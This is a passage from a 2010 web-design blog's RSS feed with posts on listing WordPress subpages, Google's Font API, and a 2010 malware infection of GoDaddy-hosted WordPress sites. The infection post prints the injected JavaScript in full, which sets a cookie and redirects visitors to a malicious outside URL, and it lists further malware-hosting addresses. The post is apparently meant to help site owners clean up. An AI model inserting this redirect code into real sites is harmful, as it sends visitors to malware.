&lt;?php } ?&gt;
</pre>


<h3>On Subpages</h3>
<p>For child, or subpages, we could use the following bit of code:</p>

<pre class="brush: php; title: ; notranslate">
&lt;div id=&quot;sidebar&quot;&gt;
&lt;?php
//list subpages even if on a subpage
  if($post-&gt;post_parent)
  $children = wp_list_pages(&quot;title_li=&amp;child_of=&quot;.$post-&gt;post_parent.&quot;&amp;echo=0&quot;);
  else
  $children = wp_list_pages(&quot;title_li=&amp;child_of=&quot;.$post-&gt;ID.&quot;&amp;echo=0&quot;);
  if ($children) { ?&gt;
  &lt;ul id=&quot;mainNav&quot;&gt;
  &lt;div id=&quot;locationsNavHead&quot;&gt;choose a product&lt;/div&gt;
  &lt;?php echo $children; ?&gt;
  &lt;/ul&gt;
&lt;?php } ?&gt;
&lt;/div&gt;
</pre>


<p>If you are confused at what this all means please comment below and check out <a href="http://codex.wordpress.org/Template_Tags/wp_list_pages" title="wp_list_pages()">wp_list_pages() over at the WordPress Codex</a></p>]]></content:encoded>
			<wfw:commentRss>http://www.dlocc.com/articles/wordpress-list-subpages-even-if-on-subpage/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Forget about using @font-face thanks to Google</title>
		<link>http://www.dlocc.com/articles/forget-about-using-font-face/</link>
		<comments>http://www.dlocc.com/articles/forget-about-using-font-face/#comments</comments>
		<pubDate>Sat, 22 May 2010 02:32:16 +0000</pubDate>
		<dc:creator>Devin Walker</dc:creator>
				<category><![CDATA[Flash]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[Site News]]></category>
		<category><![CDATA[Social Media]]></category>
		<category><![CDATA[font-face]]></category>
		<category><![CDATA[Google]]></category>

		<guid isPermaLink="false">http://www.dlocc.com/articles/?p=2058</guid>
		<description><![CDATA[Web designers beware that if you're eager to use @font-face in the near future you can forget it! With Google now entering the web-font market the guys over at font-face.com decided it was a lost cause to continue on their noble quest. Personally, I would be rather upset if I had invested 100s of hour [...]]]></description>
			<content:encoded><![CDATA[<p>Web designers beware that if you're eager to use @font-face in the near future you can forget it!  With Google now entering the web-font market the guys over at font-face.com decided it was a lost cause to continue on their noble quest.  Personally, I would be rather upset if I had invested 100s of hour of labor just to be overtaken by a giant.  Hopefully Google will kick them over some pity capital.</p>
<img src="http://www.dlocc.com/articles/wp-content/uploads/2010/05/google-giant.png" alt="Say Goodbye to font-face in web design" title="google-giant" width="400" height="180" class="alignnone size-full wp-image-2067" />
<span id="more-2058"></span>
<p><blockquote>Although we have put 100's of hours into the design, development and readying of 150+ fonts (x4 formats = 600!), with only weeks before font-face.com was ready to go live, we have decided to bow out now. A bitter blow to the team.</blockquote></p>
<p><strong>Here's the whole @font-face announcement:</strong></p>
<blockquote><p>Our Google Announcement</p>

Google have recently announced that they are also entering the web-font market - with the same free, hosted model as ours.

Although we have put 100's of hours into the design, development and readying of 150+ fonts (x4 formats = 600!), with only weeks before font-face.com was ready to go live, we have decided to bow out now. A bitter blow to the team.

Our decision has not been easy. Although we feel we would offer a better service, we would after all be competing with Google. A massive might to compete with.

The last thing we would want is to host fonts for everyone to link to, only to at some point (after google have beaten us) be forced to turn them off - destroying your website designs.

So as not do disappoint you in the future, we have decided to stop now. Have no fear though - we will be back! We are hatching a new plan for font-face.com - stay tuned!

font-face.com will still be the home of everything font-face, just not in the original way it was intended.

Thanks

The font-face.com Team x x
</blockquote></p>

<p>It looks more and more that Google's Font Directory will be the way more and more web designers will go for web-fonts.  Right now the library only consists of 30 or so fonts but I imagine this will grow quickly.  Sorry @font-face, I really wanted to start using you!  Cool site though, simple and to the point.  Check out font-face.com to get updates from their team.  They say they currently are hatching up something new for the web.  They managed to make quiet an impression this first go around until Google had to come in an flex their muscle.</p>

<p>As always, if you like this post please be sure to check out my <a href="http://www.dlocc.com/articles" title="DLOCC - Modern Web Design">entire site</a> and comment below</p>]]></content:encoded>
			<wfw:commentRss>http://www.dlocc.com/articles/forget-about-using-font-face/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Google Unveils the Google Font Directory and API</title>
		<link>http://www.dlocc.com/articles/google-unveils-the-google-font-directory-api/</link>
		<comments>http://www.dlocc.com/articles/google-unveils-the-google-font-directory-api/#comments</comments>
		<pubDate>Thu, 20 May 2010 02:30:29 +0000</pubDate>
		<dc:creator>Devin Walker</dc:creator>
				<category><![CDATA[CSS]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[Google]]></category>

		<guid isPermaLink="false">http://www.dlocc.com/articles/?p=1978</guid>
		<description><![CDATA[Google is looking to help all of us web and graphic designers out there who have been trying to break free of the CSS font-family limitations. How are they doing this? Today Google released the Google Font Directory and Google Font API in attempts to bring a selectable and dynamic font solution to the web. [...]]]></description>
			<content:encoded><![CDATA[<p>Google is looking to help all of us web and graphic designers out there who have been trying to break free of the CSS font-family limitations.  How are they doing this?  <strong>Today Google released</strong> the <a href="http://code.google.com/webfonts">Google Font Directory</a> and <a title="Google Font API" href="http://code.google.com/apis/webfonts/">Google Font API</a> in attempts to bring a selectable and dynamic font solution to the web.  I'm expecting the directory in the future this solution will grow to become the web's leading robust and scalable font library and API.</p>
<p>The good things about this web font solution is that it is very easy to implement and the text is completely selectable (for copy-and-paste purposes).  The downsides (both will eventually become irrelevant) are that not every browser will support it... mostly the old school ones that no one should care about anymore, and that it in it's current state the Google Font Directory is limited to a about 20+ fonts (of which you'd probably use about 10).  As the web continues to evolve both of these 'downsides' will no longer be relevant.   </p>
<p id="fooholder"><span class="foo">Google Web Fonts</span><br  /><span class="foo2">Using the Google Font API and Directory</span></p>
<link rel="stylesheet" type="text/css" href="http://fonts.googleapis.com/css?family=Tangerine"> 
<link href='http://fonts.googleapis.com/css?family=Molengo' rel='stylesheet' type='text/css'>
<style>
#fooholder {
padding:10px; background-color: #EBEFF9; text-align:center;
}
      .foo {
        font-family: 'Tangerine', serif; 
        font-size: 48px; line-height: 1em;
      }
      .foo2 {
     font-family: 'Molengo', arial, serif; font-size: 20px; font-weight: bold; line-height: 1em;
   }
</style>
<span id="more-1978"></span>
<h2>Google's Font API<img class="alignright size-full wp-image-1987" title="google-font-api-logo" src="http://www.dlocc.com/articles/wp-content/uploads/2010/05/google-font-api-logo.gif" alt="Google Font API Logo" width="196" height="40" style="padding-right:20px;" /></h2>
<p>Google's font API is a part of Google Labs and is an easy to use application programmable interface (API) that allows you to select a font from Google's font directory and use it on any website of your choosing... for free!  Applying a font from Google's Font Directory is a breeze, simply add a stylesheet link to your site's head and then use the font you selected from the directory in a CSS style.  Bingo, bango, bongo.</p>
<h3>Usage and Implementation</h3>
<p>Here's a Google Font usage example:</p>

<p>First add our stylesheet to the head of your website.</p>

<pre class="brush: plain; title: ; notranslate">
  &lt;head&gt;
    &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;http://fonts.googleapis.com/css?family=Tangerine&quot;&gt; 
  &lt;/head&gt;
</pre>

<link rel="stylesheet" type="text/css" href="http://fonts.googleapis.com/css?family=Tangerine">
<p>Next, let's apply the font we chose from the Google Font Directory it to a class on our site!  We can do this in our master CSS stylesheet or in your head also (I'd recommend keeping your styles in the mastersheet).</p>

<pre class="brush: plain; title: ; notranslate">
  &lt;head&gt;
    &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;http://fonts.googleapis.com/css?family=Tangerine&quot;&gt; 
    &lt;style&gt;
      .foo {
        font-family: 'Tangerine', serif;
        font-size: 48px;
      }
  &lt;/style&gt;
&lt;/head&gt;
</pre>

<p>Now with this implemented properly using the quick example shown above you will see some sweet Google font below this paragraph that's selectable and easy to implement.</p>
<p class="foo" style="margin-top:20px;line-height:1em;">Check me out!  This text is selectable and super easy to implement.  Thanks Google!</p>

<h3>Still Confused? One More Time</h3>
<p>Often times, things explained the first time don't make sense.  If you're still confused here's the jist</p>
<p><b>Step 1</b>: Add a stylesheet link requesting the fonts from Google to your website (preferably in the head).</p>

<pre class="brush: plain; title: ; notranslate">
&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;http://fonts.googleapis.com/css?family=Font+Name&quot;&gt;
</pre>

<p><b>Step 2</b>: Style an element with the font you just requested in step 1.  By element I mean any CSS class or ID.</p>

<pre class="brush: css; title: ; notranslate">
CSS selector {
  font-family: 'Font Name', serif;
}
</pre>

<p><b>Step 3</b>: There is no step 3! Just repeat step 2 by styling elements you have already on your website.</p>
<img class="alignnone size-full wp-image-1986" title="google-font-directory-logo" src="http://www.dlocc.com/articles/wp-content/uploads/2010/05/google-font-directory-logo.gif" alt="Google Font Directory Logo" width="264" height="40" />
<h2>Google's Font Directory</h2>
<p>Google's font directory, though still in beta and limited to about 20+ fonts, is going to be widely adopted by web designers in the near future.  Why?  Because Google has made a very intuitive, free, and simple to implement solution.  The fonts are free to use on any commercial and non-commercial web projects.</p>
<ul>

</ul>
<h2>Comparable Web Font Solutions</h2>
Google isn't the first to come out with an entirely open source font library.  Typekit and Fontdeck are doing the same thing: providing their users with a library of fonts that can be embedded on their websites.  The difference is these companies don't have the muscle of Google, are many times more difficult to implement, and may cost money (not open source).
<h3>Google Font Solution Final Thoughts</h3>]]></content:encoded>
			<wfw:commentRss>http://www.dlocc.com/articles/google-unveils-the-google-font-directory-api/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>GoDaddy WordPress Sites Infected by HolasionWeb Malicious Code</title>
		<link>http://www.dlocc.com/articles/godaddy-wordpress-sites-infected-by-holasionweb/</link>
		<comments>http://www.dlocc.com/articles/godaddy-wordpress-sites-infected-by-holasionweb/#comments</comments>
		<pubDate>Wed, 12 May 2010 17:28:19 +0000</pubDate>
		<dc:creator>Devin Walker</dc:creator>
				<category><![CDATA[HTML]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.dlocc.com/articles/?p=1918</guid>
		<description><![CDATA[Have you gotten calls from your clients hosted on GoDaddy about their WordPress site's being 'hacked'? Or perhaps this happened to you yourself. It seems there's a new report of thousands of WordPress sites being infected by malicious javascript inserted on their WordPress website. It's not everyday that WordPress gets 'hacked' by something/one.  Today one [...]]]></description>
			<content:encoded><![CDATA[<p>Have you gotten calls from your clients hosted on GoDaddy about their WordPress site's being 'hacked'?  Or perhaps this happened to you yourself.  It seems there's a new report of thousands of WordPress sites being infected by malicious javascript inserted on their WordPress website.</p>
<span id="more-1918"></span>
<p>It's not everyday that WordPress gets 'hacked' by something/one.  Today one of my clients sent me a very distressed email claiming their site had been hacked.  I thought that they were probably mistaken, but apparently not.  It appears that a malicious piece of JavaScript is infecting WordPress sites.  Most, if not all, hosted on WordPress.  This WordPress infection by 'holasionweb.com' appears to set a cookie and has ill intentions.  Let's take a look at what this attack is and how to fix it.</p>

<h3>What WordPress Versions are Potentially Infected?</h3>

This has been seen on versions up to WordPress version 2.9.2.

<h3>What Does it Do to My WordPress FrontEnd?</h3>

Nothing much, you may not see any change at all unless you have a virus protection program installed and a flag is raised by that software when you go to your site in the browser.

<h3>What About the WordPress Admin Area?</h3>

This is where you will notice something has gone wrong.  Take a look at this screenshot:

<a href="http://www.dlocc.com/articles/wp-content/uploads/2010/05/wordPressAdminAreaHacked.png"><img class="size-full wp-image-1922 alignnone" title="wordPressAdminAreaHacked" src="http://www.dlocc.com/articles/wp-content/uploads/2010/05/wordPressAdminAreaHacked.png" alt="WordPress Hacked by Malicious JavaScript" width="402" height="510" /></a>

You can immediately tell there's something wrong here.

<h3>What Does the Malicious Code Look Like?</h3>
Here's a look at the malicious code:

<pre class="brush: jscript; title: ; notranslate">
function setCookie(c_name,value,expiredays){
	var exdate=new Date();
	exdate.setDate(exdate.getDate()+expiredays);
	document.cookie=c_name+ &quot;=&quot; +escape(value)+
	((expiredays==null) ? &quot;&quot; : &quot;;expires=&quot;+exdate.toGMTString());
}


function getCookie(c_name){
if (document.cookie.length&gt;0)
  {
  c_start=document.cookie.indexOf(c_name + &quot;=&quot;);
  if (c_start!=-1)
    {
    c_start=c_start + c_name.length+1;
    c_end=document.cookie.indexOf(&quot;;&quot;,c_start);
    if (c_end==-1) c_end=document.cookie.length;
    return unescape(document.cookie.substring(c_start,c_end));
    }
  }
return &quot;&quot;;
}


var name=getCookie(&quot;pma_visited_theme1&quot;);
if (name==&quot;&quot;){
	setCookie(&quot;pma_visited_theme1&quot;,&quot;1&quot;,20);
	var url=&quot;http://www4.suitcase52td.net/?p=p52dcWpkbG6Hnc3KbmNToKV1iqHWnG2dXseYlWibZmeWmQ%3D%3D&quot;;
	window.top.location.replace(url);
}else{


}
</pre>

Take a look at the script above, this is the problem.  

<h3>Ok, So How Do I Fix the 'HolasionWeb' WordPress GoDaddy Issue?!</h3>

<p>Download this fix that will detect the script on your site and get rid of it: <strong><a href="http://www.dlocc.com/downloads/wordpress-fix.zip">Download HoliasionWeb.com Malicious Script WordPress Fix</a></strong></p>

<h4>Instructions for running the WordPress hack fix</h4>
<ol>
<li>Unzip and <strong>Upload the php file via FTP</strong> to your <em>home directory</em></li>
<li>Navigate your browser to http://mywebsite.com/wordpress-fix.php where 'mywebsite' is your domain to start the fix
note: the fix may take a few minutes to run</li>
<li>When it says complete, check to see if it's actually fixed and you're good to go!</li>
</ol>
Here's a link to the original solution: <a href="http://blog.sucuri.net/2010/05/simple-cleanup-solution-for-latest.html">http://blog.sucuri.net/2010/05/simple-cleanup-solution-for-latest.html</a>

This seems to have worked for my instance.  Here's the link to the release that tipped me off on this...

<a title="GoDaddy Holasionweb.com infection" href="http://blog.sucuri.net/2010/05/lots-of-sites-reinfected-now-using.html">http://blog.sucuri.net/2010/05/lots-of-sites-reinfected-now-using.html</a>

<a title="Malicous JavaScript Infecting WordPress on GoDaddy" href="http://sucuri.net/malware/entry/MW:MROBH:1">http://sucuri.net/malware/entry/MW:MROBH:1</a>

Other domains where's this malicious script has been:

http://www.indesignstudioinfo.com/ls.php


http://zettapetta.com/js.php


http://holasionweb.com/oo.php

<h3>Lesson Here: Do Not Host with Go Daddy!</h3>
They are insecure, unreliable and have terrible support.]]></content:encoded>
			<wfw:commentRss>http://www.dlocc.com/articles/godaddy-wordpress-sites-infected-by-holasionweb/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
	</channel>
</rss>

